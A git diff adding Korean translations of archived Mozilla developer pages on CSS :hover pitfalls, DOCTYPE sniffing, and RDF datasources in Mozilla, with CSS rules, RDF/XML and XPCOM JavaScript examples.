+

..이들은 "위에 마우스 포인터가 놓이게 되는(being hovered) 어떤 엘리먼트든 표면색(foreground color)으로 붉은색을 가져야만 한다"라고 옮길 수 있습니다. 따라서 문서내의 단락, 표, 표제어 그리고 다른 어떤 엘리먼트위로 (포인터가) 떠 있게 되면 텍스트가 붉은색이 되게 할 것입니다.

+

흔한 변형예는 순 클래스와 hover 슈도-클래스를 다음과 같이 함께 사용하는 것입니다.

+
.nav:hover {color: red;}
+

classnav의 인스턴스만이 하이퍼링크들에 적용되는 상황에선 아무 문제가 없을 것입니다. 그러나, 이 유형의 규칙들은 보통 아래와 같은 마크업(markup)과 결부되어 나타납니다.

+
<td class="nav">
+<a href="one.html" class="nav">one</a> |
+<a href="two.html" class="nav">two</a> |
+<a href="thr.html" class="nav">three</a> |
+<a href="fou.html" class="nav">four</a>
+</td>
+

둘러싸고 있는 표의 셀이 nave class를 가지고 있기때문에 사용자가 마우스 포인터를 표의 셀안의 어느 곳으로든 움직이게 되면 수직-바 문자들은 붉은 색이 될것이며, 링크들도 그들 위로 (포인터가) 떠다니게 되면 붉은 색으로 바뀔 것입니다.

+

Gecko 작동방식

+

20020410 이후의 넷스케이프 Gecko 빌드(넷스케이프 6.1+)에 기반을 둔 브라우저들에선, :hover 스타일이 문서안의 어느 엘리먼트에든 적용될 수 있습니다. 따라서, 순 슈도-클래스들을, 또는 순 클래스와 슈도-클래스의 조합을 사용해온 저자들은 hover 스타일이 링크들 이상으로 적용되어 보여질 위험이 있습니다. 가장 믿을 만한 수정안은 다음과 같이 선별자들에 앵커 엘리먼트를 더하는 것입니다.

+
a:hover {color: red;}
+a.nav:hover {color: red;}
+

레거시(legacy) 문서들에의 문제야기를 피하기 위해서, 모질라 1.0 과 그 이후 버전(넷스케이프 7+)에 기반한 브라우저들은 문서를 "특별(quirks)"모드로 렌더링할 경우 순 슈도-클래스들이 링크에만 한정되도록 하는 코드를 포함하고 있습니다. 모질라 1.3b와 그 이후 버전에서 발견되는 엔진에 기반을 둔 브라우저들에선, 이 특별 모드를 확장해서 순 클래스 선별자와 :hover 슈도-클래스를 조합하는 선별자들을 커버하도록 하고 있습니다.

+

이름이 주어진 앵커 문제들

+

위에 기술한 효과들에 더해서, 저자들이 예상치 못할 수 있는 두개의 다른 상대적으로 흔한 현상들이 있습니다. 하나는 validation으로 쉽게 고칠 수 있으나, 다른 문제는 좀더 까다롭습니다.

+

첫번째로, 이름이 주어진 앵커를 열고서는 닫지 않는 저자로부터 문제가 생깁니다. 예를 들면:

+
<a name="pagetop">
+<h2>My Page</h2>
+

</a>없이 이 이름은 문서의 나머지 부분들 모두에 영향을 끼칠 것입니다. 더 일반적으로 말하자면, 문서의 나머지 부분들이 hover 스타일을 가지게 될 것이라는 것입니다. 다음 규칙의 효과를 생각해 보세요:

+
a:hover {color: red;}
+

닫히지 않은 이름이 주어진 앵커가 있는 문서에서, 앵커의 열린 택이후에 나오는 모든 텍스트는 (다른 CSS 규칙이 끼워들지 않는 한) 붉은 색이 될것입니다.

+

이는 두번째 흔한 문제를 불러오는 데, 그것은 이름이 주어진 앵커들이 hover스타일을 허용할 수 있다는 것입니다. 비록 저자가 선별자 a:hover가 하이퍼링크에만 적용되도록 의도한다 해도,선별자는 이름이 주어진 앵커에도 적용될 것입니다. 왜냐하면 선별자가 단순히 hover 상태에 있는 모든 a 엘리먼트들을 스타일화 할 것을 선언하고 있기 때문입니다. 이 문제를 피하기 위해서, CSS2가 기술하고 있는 조합된 슈도-클래스 문법(the combined pseudo-class syntax)을 사용해야 합니다:

+
a:link:hover {color: red;}
+a:visited:hover {color: maroon;}
+

이 구문에서 링크들에 마우스가 놓여졌을 때 방문된 그리고 아직 방문하지 않은 링크들이 다르게 스타일화 될 수 있다는 점을 볼 수가 있습니다. 이것은 단순한 a:hover로는 불가능 했습니다. 물론, 선별자 a:link:hover는 오직 아직 방문하지 않은 링크에만 적용될 것입니다. 따라서, 같은 hover스타일이 방문된 그리고 아직 방문하지 않은 링크 모두에 적용되기를 원한다면, 두 선별자를 하나의 규칙으로 그룹지어 놓아야 합니다.

+

권고 사항

+

예상치 못한 문제들을 피하기 위해서 하이퍼링크에 적용될 동적-상태(dynamic-state) 슈도-클래스(pseudo-class) 내에 엘리먼트 이름을 포함시킬 것을 + + 강력하게 + 권합니다. 더나아가, 슈도-클래스들을 조합하는 것은 호버(hover) 스타일이 비-하이퍼링크 앵커에 적용되는 것을 막아줍니다. 따라서, 단지 :hover 대신 항상 a:hover이 사용되어야 하며, a:link:hover (그리고 a:visited:hover)이 보다 단순한 a:hover보다 선호됩니다.

+

관련 링크들

+ +
+

Original Document Information

+ +
+

 

diff --git a/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html b/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html new file mode 100644 index 0000000000..a4d28b14ad --- /dev/null +++ b/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html @@ -0,0 +1,141 @@ +--- +title: Mozilla's DOCTYPE sniffing +slug: Archive/Web_Standards/Mozilla_s_DOCTYPE_sniffing +tags: + - Web Development +translation_of: Archive/Web_Standards/Mozilla_s_DOCTYPE_sniffing +--- +

이 문서는 Mozilla가 strict 모드 대 호환(quirks) 모드를 결정하기 위해 DOCTYPE 선언을 쓰는 법을 기술합니다. 이를 결정하는 코드는 현재 nsParser.cpp의 DetermineParseMode()에 있습니다. 모드 결정의 역사 일부는 bug 1312bug 55264를 참조하세요. Mozilla 1.0 쯤에 새로 생긴 거의 표준(Almost-Standards) 모드는 bug 153032를 참조하세요. 다음이 이 행동(behavior)을 고르게 했던 목적들입니다:

+ +

바꿔 말하면, 이 알고리즘이 Mozilla가 웹에서 알려진 중요 사용자 에이전트가 된 뒤로 작성되었던 페이지를 결정하는 경우에 우리가 찾을 수 있는 가장 좋은 접근법입니다.

+

완전 표준 모드

+

다음이 완전 표준(full standards) 모드를 일으킵니다:

+ +

거의 표준 모드

+

다음은 거의 표준 모드를 일으킵니다. 거의 표준 모드는 1.0과 1.1 알파 뒤지만, 1.0.1과 1.1 베타 앞에 만들었습니다. 거의 표준 모드가 생기기 전에 이 doctype은 완전 표준 모드를 일으켰습니다.

+ +

호환 모드

+

다음은 호환 모드를 일으킵니다 (이 목록은 웹 상에 이미 존재하는 페이지가 호환 모드를 일으키게 하도록 포괄할 필요가 있습니다):

+

이 목록 준비에 다음 사이트가 유용했습니다: W3C HTML Validator, HTMLHelp HTML Validator.

+ +

부정확한 대/소문자로 공용 식별자를 쓰는 상당수 페이지 때문에 모든 공용 식별자 비교는 대/소문자를 구별하지 않음을 주의하세요. (이는 엄밀히 말하면 틀린데, 문자열이 대/소문자를 구별하기 때문입니다.)

+

같이 보기

+ +
+

원본 문서 정보

+ +
+

 

diff --git a/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html b/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html new file mode 100644 index 0000000000..e0f739e688 --- /dev/null +++ b/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html @@ -0,0 +1,87 @@ +--- +title: RDF in Fifty Words or Less +slug: Archive/Web_Standards/RDF_in_Fifty_Words_or_Less +tags: + - RDF +translation_of: Archive/Web_Standards/RDF_in_Fifty_Words_or_Less +--- +

어쩌면 이 문서는 50 단어 이상이 될 수도 있겠습니다, 하지만 핵심 사항들은 꽤 간단합니다 (핵심적인 것들만 빨리 익히고 싶어하는 관리자들을 위해 이러한 것들은 굵은 글씨체로 표기하였습니다). Resource Description Framework, 혹은 "RDF" 라고 하는 것은 실제로는 2 가지를 말합니다. +

+
+첫째로, RDF 는 (웹 페이지나 email 주소와 같은) 인터넷 상의 자원들을 설명하고 이들이 어떻게 서로 연관되어 있는지를 나타내는 그래프 기반의 모델입니다. +
+

하지만 실제로는 이라는 말이 어떤 의미일까요? +Mozilla 개발자에게는 RDF 데이터 모델(그래프)이 인터넷 자원들을 통합하고 구조화하기 위한 메카니즘으로 사용될 수 있다는 것을 말합니다. +

예제를 하나 보겠습니다: 북마크 (bookmark). 지금 대부분의 브라우저들은 당신이 북마크를 체계적으로 관리하도록 폴더 를 지정하고 있습니다. 각 북마크는 URI (Uniform Resource Identifier) 라고 하는 웹페이지를 가리키는 포인터 입니다. +

하지만 웹 페이지는 단지 인터넷 자원 중의 하나일 뿐 입니다. +이 밖에도 다른 많은 자원들 - 몇가지 예를 들자면 이메일 메시지, 유즈넷 뉴스 기사 (혹은 전체 유즈넷 뉴스 그룹), 당신이 잘 사용하는 웹 검색 엔진의 검색 결과 - 이 있습니다. +그리고 기본적으로 이들을 "북마크"로 다루거나 이들을 그룹지어 원하는 폴더 안에 저장하지 못할 이유가 없으며, +심지어는 당신이 특정 폴더를 열 때 마다 미리 정의된 검색을 수행하여 동적으로 컨텐츠를 생성해내는 "스마트" 폴더를 생성하는 것도 가능합니다. +

그리고 "북마크"는 실제로 임의의 특성(arbitrary properties associated with it)을 가지고 있습니다: +당신은 북마크를 분류하기 위한 (매킨토시의 "hot", "warm", "cool" 컬러 코딩 방식처럼) 당신만의 기준을 만들고 싶을 수도 있을 것입니다. 또는 한 북마크를 다른 북마크와 연관시키거나 한 북마크를 여러 폴더에 같이 저장시키고 싶을 수도 있습니다. +

RDF 그래프는 위의 예제에서 언급한 "유니버설" 북마크 서비스를 구성할 수 있는 완전한 데이터 모델을 제공합니다: +그래프는 임의의 자원을 지정할 수 있는 포인터를 포함하며, 당신이 생각할 수 있는 어떠한 방식으로도 그들을 그룹으로 묶을 수 있습니다. +

하지만 그전에.. +

+
+ +둘째로, RDF 는 직렬화 문법(serialization syntax)입니다. 이 문법은 "에이전트" 간에 통신할 수 있는 그래프 방식의 모델을 제공합니다. +
+

이게 무슨 소리일까요? 기본적으로 RDF 데이터 모델의 일부분은 네트워크 간에 +통신할 수 있으며 그래프의 내용은 원격지의 서비스에서 도착한 정보로 동적으로 변경될 수 있다는 것을 의미합니다. +

위의 예제를 다시 보기로 합시다. 당신의 북마크 "폴더" 중의 하나는 실제로 당신의 메일함의 받은 편지함을 가리키는 포인터라고 합시다: 당신이 그 폴더를 열었다면, 자! 밤 사이 받았던 모든 메시지들을 볼 수 있습니다. +

하지만 어떻게 이런 일이 가능할까요? +그 "폴더"는 사실 그래프를 확장한 RDF 를 저장하고 있는 인터넷 자원을 가리키는 포인터 였습니다. +"인터넷 자원"은 CGI 스크립트를 가리키는 URI 였습니다. +(즉, <tt>http://www.mozilla.org/smart-mail/ge...n&folder=inbox</tt>). +이 CGI 스크립트가 실제 직렬화된(serialized) RDF 를 생성합니다. 이것은 기본적으로 XML 을 이용한 그래프의 표현 방식입니다: +

+
<rdf:RDF
+    xmlns:rdf="http://www.w3.org/TR/WD-rdf-syntax#"
+    xmlns:sm="http://www.mozilla.org/smart-mail/schema#">
+  <rdf:Description
+    about="http://www.mozilla.org/smart-mail/ge...n&folder=inbox">
+    <sm:message id="4025293">
+       <sm:recipient>
+         Chris Waterson "waterson@netscape.com"
+       </sm:recipient>
+       <sm:sender>
+         Aunt Helga "helga@netcenter.net"
+       </sm:sender>
+       <sm:received-by>x-wing.mcom.com</sm:received-by>
+       <sm:subject>Great recipe for Yam Soup!</sm:subject>
+       <sm:body>
+         http://www.mozilla.org/smart-mail/ge...cgi?id=4025293
+       </sm:body>
+    </sm:message>
+    <sm:message id="4025294">
+       <sm:recipient>
+         Chris Waterson "waterson@netscape.com"
+       </sm:recipient>
+       <sm:sender>
+         Sarah Waterson "waterson.2@postbox.acs.ohio-state.edu"
+       </sm:sender>
+       <sm:received-by>x-wing.mcom.com</sm:received-by>
+       <sm:subject>We won our ultimate game</sm:subject>
+       <sm:body>
+         http://www.mozilla.org/smart-mail/ge...cgi?id=4025294
+       </sm:body>
+    </sm:message>
+  </rdf:Description>
+</rdf:RDF>
+
+

위와 같은 복잡한 데이터(monstrosity)를 받으면, RDF 엔진은 RDF 데이터를 그래프 상의 적절한 위치에 배치(fold)하며 +실제로 북마크 UI 를 구현하는 트리 컨트롤에 통지하여 (Aunt Helga 에게서 받은 Yam Soup 에 대한) 최근의 메시지에 대해 특정 아이콘을 표시하도록 합니다. +

이것은 SmartMail이 동작하는 원리와 정확히 동일합니다. +

연락처: +Chris Waterson (waterson@netscape.com) +

+
+

원본 문서 정보

+ +
+

Interwiki Language Links +

diff --git a/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html b/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html new file mode 100644 index 0000000000..f59bcb7e2d --- /dev/null +++ b/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html @@ -0,0 +1,292 @@ +--- +title: RDF in Mozilla FAQ +slug: Archive/Web_Standards/RDF_in_Mozilla_FAQ +tags: + - RDF +translation_of: Archive/Web_Standards/RDF_in_Mozilla_FAQ +--- +

일반

+

어디에서부터 시작해야 하나요?

+

RDF 는 Mozilla 에서 크게 두가지 기능을 제공합니다. 첫번째가, 단순히 작은 데이터 저장 공간을 위한 크로스 플랫폼의 데이터베이스 (cross-platform database for small data stores) 역할이며 두번째가 더 중요한데 RDF 모델이 XUL 템플릿과 함께 사용되어 정보 표현을 위한 추상적인 "API" 를 제공하는 것입니다. RDF in Fifty Words or Less 문서는 Mozilla 에서 RDF 가 어떤 작업을 수행하는지를 손쉽게, 고 수준에서 살펴볼 수 있게 해 줍니다. RDF 백엔드 구조 문서는 Mozilla 의 RDF 구현이 동작하는 방식을 더욱 자세히 설명하며, 거기에 포함된 인터페이스들에 대한 간략한 개요를 살펴볼 수 있습니다.

+

Open Directory ("dmoz") 상의 어디에서 정보를 찾아야 하나요?

+

불행히도, 여기는 아닙니다! 음, 여기는 그저.. Open Directory 에 대한 정보는 http://www.dmoz.org/ 를 방문해 보기 바랍니다. Open Directory 의 데이터 셋은 (거대한) RDF/XML 덤프로 이용 가능합니다. 이것은 수천개의 웹 사이트를 더블린 코어(Dublin Core)의 메타데이터 어휘와 DMoz 분류법을 혼합하여 분류해 놓은 것 입니다. 더 자세한 정보는 DMoz 의 RDF 페이지를 살펴보시고, 거기에 사용된 데이터 형식에 관련된 업데이트 사항은 odp-rdf-announce 페이지를 살펴보기 바랍니다. ChefMoz 사이트(공동(collaborative) 음식점 가이드) 도 역시 RDF 페이지를 제공합니다.

+

만약 DMoz 나 ChefMoz 데이터와 관련된 문제점이 발생한다면 해당 프로젝트에 직접 연락하는 것이 좋습니다. 하지만 당신이 그 컨텐츠를 사용하여 어떤 작업을 하고 있다면 (즉, 원격 사이트에서 XUL UI 로 해당 컨텐츠를 로드하는 것처럼) mozilla-rdfRDF Interest Group 메일링 리스트에 알리는 것을 잊지 마십시오. 이들은 DMoz 데이터를 삭제하고 재처리하고 저장하는 툴에 대해서도 관심을 가지고 있을 것 입니다. ODP RDF 덤프를 사용하는 사이트에 대한 정보는ODP 데이터를 사용하는 사이트들 페이지를 보십시오.

+

데이터 소스(datasource)가 뭐죠?

+

RDF 는 일반적으로 2가지 관점으로 볼 수 있습니다: 하나는 노드와 호(arc)로 이루어진 그래프로 보는 관점이며 다른 하나는 논리적인 구문들(logical statements)로 이루어진 "수프"(soup) 로 보는 관점이다. 데이터 소스는 특정한 기준으로 그룹지어진 하위 그래프(subgraph) (혹은 다른 관점에서 본다면 구문들의 집합) 입니다. 예를 들면, "브라우저 북마크", "브라우저 전역 방문 기록 (global history)", "IMAP 메일 계정", "NNTP 뉴스 서버", "RDF/XML 파일" 등이 있습니다.

+

Mozilla 에서는 데이터 소스들은 복합 (composite) 데이터 소스 기능을 사용하여 통합(compose) 될 수 있습니다. 이것은 그래프를 오버레이(overlay) 시키는 것이나 구문의 집합들을 병합(merge)하는 것("microtheories")과 비슷합니다. 동일한 RDF 자원에 대한 구문은 혼용(intermingle)될 수 있습니다: 예를 들어 특정 웹사이트의 "최근 방문 시간"은 "브라우저 전역 방문 기록" 데이터 소스에서 얻을 수 있고, 해당 웹사이트로 가기 위한 "단축 키워드(shortcut keyword)"는 "브라우저 북마크" 데이터 소스에서 얻을 수 있습니다. 두 데이터 소스는 URL 을 통해 "웹사이트" 를 가리킵니다: 이것이 데이터 소스들이 효율적으로 "병합"될 수 있는 "핵심"(key)이 됩니다.

+

데이터 소스를 작성하는 방법에 대한 자세한 사항은 RDF 데이터 소스 How-To 문서를 참조하기 바랍니다.

+

Mozilla 는 어떻게 데이터 소스를 관리하나요?

+

RDF 서비스는 로드된 모든 데이터 소스의 테이블을 관리합니다. 이 테이블은 데이터 소스의 "URI" -RDF/XML 파일의 URL 이거나 내장된 데이터 소스를 가리키는 rdf: 로 시작하는 "특별한" URI - 를 키로 사용합니다.

+

데이터 소스는 RDF 서비스의 GetDataSource() 메소드를 통해 로드됩니다. URI 인수(argument)가 XML/RDF 파일의 URL 을 가리키는 경우에는 RDF 서비스는 RDF/XML 데이터 소스 를 생성하고 비동기적으로 이를 구문 분석(parse)합니다. 이 데이터 소스는 자신을 가리키는 마지막 참조가 해제(release)될 때까지 메모리 상에 "캐시"(cache) 됩니다.

+

만약 URI 인수가 내장 데이터 소스를 가리키는 경우에는, RDF 서비스는 XPCOM 컴포넌트 관리자 를 사용하여 "특별한" URI 와 잘 알려진(well-known) 접두어 @mozilla.org/rdf/datasource;1?name=</code> 를 이용해 ContractID 를 생성한 컴포넌트를 로드합니다.

+

예를 들어,

+
rdf:foo
+
+

인 경우에는 아래와 같은 컴포넌트가 로드됩니다:

+
@mozilla.org/rdf/datasource;1?name=foo
+
+

RDF/XML 데이터 소스와 마찬가지로 이러한 방식으로 생성된 데이터 소스도 RDF 서비스에 의해 마지막 참조가 해제될 때까지 메모리 상에 "캐시" 됩니다.

+

RDF/XML 파일에서 어떻게 데이터 소스를 생성하나요?

+

RDF 서비스GetDataSource() 메소드를 사용하여 RDF/XML 데이터 소스를 생성할 수 있습니다:

+
// RDF 서비스를 얻습니다.
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+// ...그리고 여기에서 데이터 소스를 얻습니다. 당신의 웹 브라우저가
+// 이 데이터 소스를 text/xml (추천) 혹은 text/rdf로 다루는지 확인하십시오!
+var ds = RDF.GetDataSource("http://www.mozilla.org/some-rdf-file.rdf");
+// ds 는 비동기적으로 로드되므로, 여기에 바로 assert 를 실행한다면
+// 올바르게 동작하지 않을 것 입니다.
+
+

또다른 방법으로는, 아래와 같이 XPCOM 컴포넌트 관리자를 사용하여 직접 생성하는 방법이 있습니다:

+
// XPCOM 컴포넌트 관리자를 사용하여 RDF/XML 데이터 소스 생성하기
+var ds =
+  Components
+  .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"]
+  .createInstance(Components.interfaces.nsIRDFDataSource);
+// nsIRDFRemoteDataSource 인터페이스는 데이터 소스를 설정하기 위한 인터페이스들을 가지고 있습니다.
+var remote =
+   ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+// 당신의 웹 서버가 이것을 text/xml (추천) 혹은 text/rdf로 전송하는지 확인하십시오!
+remote.Init("http://www.mozilla.org/some-rdf-file.rdf");
+// 로드합니다! 이것은 비동기적으로 실행된다는 것을 명심하십시오.
+// aBlocking 인수를 true 로 설정하면, 동기적으로 실행되게 설정할 수 있습니다.
+// 하지만 이렇게 되면 UI 가 멈춰버리기 때문에 일반적으로는 좋지 않은 아이디어입니다!
+remote.Refresh(false);
+//  ds 는 비동기적으로 로드되므로, 여기에 바로 assert 를 실행한다면
+// 올바르게 동작하지 않을 것 입니다.
+
+

만약 당신이 RDF/XML 파일을 강제로 동기적으로 로드하고 싶다면 "직접"(manually) 생성할 필요가 있습니다.

+

RDF/XML 데이터 소스를 어떻게 갱신(reload)하나요?

+

RDF/XML 데이터 소스 (혹은 nsIRDFRemoteDataSource 를 지원하는 어떠한 데이터 소스일지라도) 는 nsIRDFRemoteDataSourceRefresh() 메소드를 사용하여 강제로 갱신할 수 있습니다. Refresh() 메소드는 수행이 동기적("blocking)으로 이루어질지 비동기적("non-blocking")으로 이루어 질지를 나타내는 하나의 인수를 가집니다. 당신은 정말로 그렇게 해야만 할 필요가 없다면 절대 동기적인 수행을 선택하지 않아야 합니다: 동기적으로 수행하도록 한다면 로드가 끝날때까지 모든 UI 가 동작하지 않을 것입니다!

+

RDF/XML 데이터 소스가 로드되었는지 어떻게 알 수 있나요?

+

nsIRDFRemoteDataSource 인터페이스를 사용하면, loaded 속성의 값으로 데이터 소스가 로드되었는지 즉시 알아볼 수 있습니다:

+
// RDF 서비스를 얻습니다
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+// 데이터 소스를 얻습니다..
+var ds = RDF.GetDataSource("http://www.mozilla.org/some-rdf-file.rdf");
+// 이제 로드되었는지 살펴봅니다..
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("the datasource was already loaded!");
+}
+else {
+  alert("the datasource wasn't loaded, but it's loading now!");
+}
+
+

만약 아직 데이터 소스가 로드되지 않았다고 가정합시다. (비동기적으로 로드됩니다). 위의 API 와 자바스크립트의 setTimeout() 함수를 사용하면, 주기적으로 loaded 속성을 체크하는 폴링 루프 를 만들 수 있을 것입니다. 하지만 여기는 문제가 있으며, 더 큰 문제는 로드가 실패 하는 경우를 인식하지 못한다는 것입니다! 예를 들어, 해당 URL 에 아무 데이터도 없는 경우에는 문제가 생길 것 입니다.

+

이를 위해 데이터 소스의 상태를 감시하기 위한 감시자(observer) 인터페이스 라는 것이 있습니다. 아래의 코드는 감시자 인터페이스의 사용법을 보여줍니다:

+
// RDF/XML 데이터 소스의 로드 과정을 감시할 객체입니다.
+var Observer = {
+  onBeginLoad: function(aSink)
+    {},
+
+  onInterrupt: function(aSink)
+    {},
+
+  onResume: function(aSink)
+    {},
+
+  onEndLoad: function(aSink)
+    { alert("done!"); },
+
+  onError: function(aSink, aStatus, aErrorMsg)
+    { alert("error! " + aErrorMsg); }
+};
+// RDF 서비스를 얻습니다.
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+// 데이터 소스를 얻습니다.
+var ds = RDF.GetDataSource("http://www.mozilla.org/some-rdf-file.rdf");
+// 이제 로드되었는지 살펴봅니다..
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("the datasource was already loaded!");
+}
+else {
+  alert("the datasource wasn't loaded, but it's loading now!");
+  // RDF/XML 데이터 소스는 모두 nsIRDFXMLSink 입니다 (Is-a).
+  var sink =
+    ds.QueryInterface(Components.interfaces.nsIRDFXMLSink);
+  // 데이터 소스(= 싱크)에 감시자 인터페이스를 지정합니다.
+  sink.addXMLSinkObserver(Observer);
+  // 이제 데이터 소스의 로드 상태에 따라
+  // 감시자의 메소드들이 호출(call-back)됩니다.
+}
+
+

감시자 객체는 removeXMLSinkObserver 메소드가 호출되기 전까지는 계속 RDF/XML 데이터 소스와 연결(attach)되어 있을 것입니다.

+

데이터 소스 내의 정보는 어떻게 접근할 수 있나요?

+

nsIRDFDataSource 인터페이스는 데이터 소스 내의 정보에 접근하거나 검사할 수 있는 방법을 제공합니다.

+ +

RDF 컨테이너 내에 포함된 정보에 접근하기 위해서는 RDF 컨테이너 인터페이스를 사용할 수 있습니다.

+

데이터 소스 내의 정보를 어떻게 변경하나요?

+

데이터 소스의 변경 사항을 RDF/XML 자원에 다시 저장하려면 어떻게 하죠?

+

RDF/XML 데이터 소스는 QueryInterface() 메소드를 통해 nsIRDFRemoteDataSource 인터페이스를 얻을 수 있습니다. 이 인터페이스는 Flush() 메소드를 가지고 있는데, 이 메소드는 데이터 소스가 로드될 때 사용된 URL 이 가리키는 데이터 소스에 변경 사항을 다시 기록하려고 시도할 것입니다. 이것은 사용된 프로토콜에 따라 각기 다른 메커니즘을 사용합니다. (즉, file: 로 시작하는 URL 이라면 그저 파일에 기록하고, http: 로 시작하는 URL 이라면 HTTP-POST 요청을 보낼 것입니다.) Flush() 메소드는 오직 데이터 소스의 내용이 변경된 경우에만 기록합니다.

+

여러 개의 데이터 소스를 하나로 합쳐서 보려면 어떻게 해야 하나요?

+

내장(built-in) 데이터 소스에 접근하려면 어떻게 하나요?

+

내장 데이터 소스nsIRDFDataSource 인터페이스를 구현한 로컬에 인스톨 된 컴포넌트를 말합니다. 예를 들면 북마크 서비스와 같은 것이 있습니다. 먼저, 여기를 보고 당신이 내장 데이터 소스에 접근하도록 허용 되었는지를 체크해 보십시오. "인증되지 않은"(untrusted) XUL 와 JS 로 부터 내장 데이터 소스에 접근에 접근하는 것을 차단하는 여러가지 보안 사항이 있습니다.

+

내장 데이터 소스는 단지 XPCOM 컴포넌트 이기 때문에, 당신은 XPConnect 컴포넌트 관리자를 사용하여 직접 객체를 생성(instantiate)할 수 있습니다.

+
// 북마크 서비스를 얻기 위해 컴포넌트 관리자를 사용합니다.
+var bookmarks =
+  Components.
+  classes["@mozilla.org/rdf/datasource;1?name=bookmarks"].
+  getService(Components.interfaces.nsIRDFDataSource);
+
+// 이제 관련된 작업을 수행합니다..
+if (bookmarks.HasAssertion(
+     RDF.GetResource("http://home.netscape.com/NC-rdf#BookmarksRoot"),
+     RDF.GetResource("http://home.netscape.com/NC-rdf#child"),
+     RDF.GetResource("http://home.netscape.com/NC-rdf#PersonalToolbarFolder"),
+     true) {
+  // ...
+}
+
+

또다른 방법으로는, 특정 데이터 소스는 "특별한" RDF 와 관련된 ContractID 를 가지므로 nsIRDFSerivceGetDataSource() 메소드를 이용하거나 XUL 템플릿의 datasources 속성을 이용하여 손쉽게 데이터 소스 객체를 생성할 수 있습니다. 이러한 ContractID 는 다음과 같은 형식으로 표현됩니다:

+
@mozilla.org/rdf/datasource;1?name=name
+
+

ContractID 는 GetDataSource() 메소드나 rdf:name 형식의 약어를 사용하여 datasources 속성에 접근할 수 있습니다. 예를 들어, 다음의 XUL 코드는 XUL 템플릿에 북마크 서비스를 데이터 소스로 추가하는 방법을 보여 줍니다.

+
<tree datasources="rdf:bookmarks">
+  ...
+</tree>
+
+

RDF "컨테이너"를 어떻게 사용하나요?

+

RDF "컨테이너"(예를 들어, <rdf:Seq>)를 사용하기 위해서는 아래의 ContractID 를 이용하여 nsIRDFContainerUtils 객체를 서비스로 생성해야 합니다:

+
@mozilla.org/rdf/container-utils;1
+
+

이 서비스를 이용하면, IsSeq(), IsBag(), IsAlt() 등의 메소드를 사용하여 특정 객체가 RDF 컨테이너인지 검사할 수 있습니다. 특정 자원이 RDF 컨테이너가 아니라면 MakeSeq(), MakeBag(), MakeAlt() 등의 메소드를 사용하여 해당 자원을 RDF 컨테이너로 만들 수 있습니다. 이 메소드들은 이미 작성된 컨테이너용 연산들을 가지고 있는 nsIRDFContainer 객체를 반환합니다.

+

또다른 방법으로는, 당신이 사용하는 데이터 소스가 이미 RDF 컨테이너 객체를 가지고 있는 경우, 다음의 ContractID 를 통해 nsIRDFContainer 객체를 생성할 수 있습니다:

+
@mozilla.org/rdf/container;1
+
+

그리고 데이터 소스를 인수로 Init() 메소드를 호출해야 합니다. 이 메소드는 해당 자원이 컨테이너 객체가 아닌 경우에는 실패할 수 있다는 것을 주의하십시오.

+

XUL 템플릿

+

XUL 문서의 원소(element) 상에 datsources 속성을 지정함으로써 XUL 템플릿을 생성할 수 있습니다.

+

XUL 템플릿은 두가지 형식("form")으로 작성할 수 있습니다. 첫번째는 단순 형식("simple form")으로 현재 Mozilla 코드베이스 상에서 가장 일반적으로 쓰이는 형식입니다. 또 하나는 확장 형식("extended form")으로 RDF 그래프에 대해 복잡한 패턴 매칭을 수행할 수 있습니다. XUL:템플릿 가이드 문서를 참조하십시오. (이 문서는 궁극적으로 확장 형식의 템플릿을 설명하려는 목적으로 작성되었기 때문에 매우 복잡하게 구성되어 있습니다. -- 따라서 많은 정보를 표현하기 위해 복잡하게 보일지라도 개념적으로는 더 이해하기 쉬운 방법으로 구성하였습니다 -- 그리고 단순 형식은 확장 형식을 단축해서 사용하는 형태로 설명합니다.)

+

XUL 템플릿을 사용해서 무엇을 빌드할 수 있나요?

+

당신은 XUL 템플릿을 사용해서 어떠한 종류의 컨텐츠도 빌드할 수 있습니다. 이를 위해 <rule> 내의 <action> 에 속한 태그(HTML 태그나 임의의 XML 태그도 가능)들을 사용할 수 있습니다.

+

언제 XUL 템플릿을 사용해야 하나요?

+

RDF 와 XUL 템플릿을 사용하는 또다른 방법으로는 W3C DOM API 를 이용하여 XUL (혹은 HTML) 컨텐츠 모델을 구성하고 조작하는 방법이 있습니다. 하지만 그렇게 하는 것은 불편할 때가 많습니다:

+
    +
  1. 데이터에 대한 "뷰"가 여러 개인 경우. 예를 들면, Mozilla mail/news 는 툴바나, 여러 메뉴 내의 "폴더 팬(pane)", 혹은 몇몇 다이얼로그 창에서 폴더 구조를 표시합니다. 이 경우 이러한 <메뉴 버튼>, <메뉴>, <트리> 컨텐츠 모델을 위한 DOM 트리를 JS (혹은 C++) 로 작성하는 것 보다, 각 컨텐츠 모델을 위한 (세가지의) 간략한 룰셋으로 작성할 수 있습니다.
  2. +
  3. 데이터가 변화하는 경우. 예를 들어 메일이나 뉴스의 사용자는 IMAP 폴더를 추가하거나 삭제할 수 있습니다. (이로 인해 컨텐츠 모델을 작성하는 작업은 매우 복잡해 집니다!) XUL 템플릿 빌더는 룰을 사용하여 사용자에 의한 모든 컨텐츠 모델들의 변화를 자동적으로 유지합니다.
  4. +
+

